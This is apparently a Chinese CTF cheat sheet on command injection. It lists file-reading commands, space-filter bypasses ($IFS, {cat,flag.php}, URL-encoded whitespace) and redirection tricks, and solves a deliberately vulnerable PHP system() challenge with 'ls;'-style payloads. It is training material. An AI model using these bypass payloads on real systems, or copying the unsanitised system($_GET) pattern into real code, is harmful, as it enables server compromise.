查看文件内容
more:一页一页的显示文档内容
less:与more类似,也支持翻页
head:查看头几行,默认10行
tail:查看尾几行,默认10行
cat:打印到标准输出设备
tac:从最后一行开始显示,是 cat 的反向显示
nl:显示的时候,顺便输出行号
od:默认八进制的方式读取档案内容
vi:一种编辑器,这个也可以查看返回内容
vim:这个也可以
sort:排序输出
uniq:去重输出
file -f:报错输出内容
paste -s:每列合并输出
grep .* :同样可以输出文件
空格被过滤
IFS是Linux中的一个特殊的环境变量,就是内部字段分隔符,默认下是空格、制表符、换行符。
这个是可以自定义的,像; , . : 都可以当做字符之间的分隔符
$IFS
$IFS$9 后面的一位数字随便填,第二个$ 起截断作用
${IFS} ${}之前说过,是可以解析变量的
{cat,flag.php} 用逗号实现空格作用
%09 %20 %0a %0b %0c %0d 这些就是制表符,换行键,换页键,回车键,空格键来代替空格
重定向符
cat>1.txt 标准输出重定向到文件(会覆盖原文件数据)
cat>>1.txt (追加写入文件)
cat<1.txt 文件内容作为标准输入
cat<>1.txt
2>&1 (标准输出和错误输出)
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);}
这题是招新时的一道题,当时可能没说明白这题
/dev/null 在Linux中代表空设备文件,向这个文件的所有写入都会丢失
2>&1 会将所有的正确和错误的输出都写入,所以返回没有任何显示,因为全部丢失了嘛
所以这道题的解法就很简单了,只需要让后面的重定向输入是空就行
ls;>/dev/null ls||>/dev/n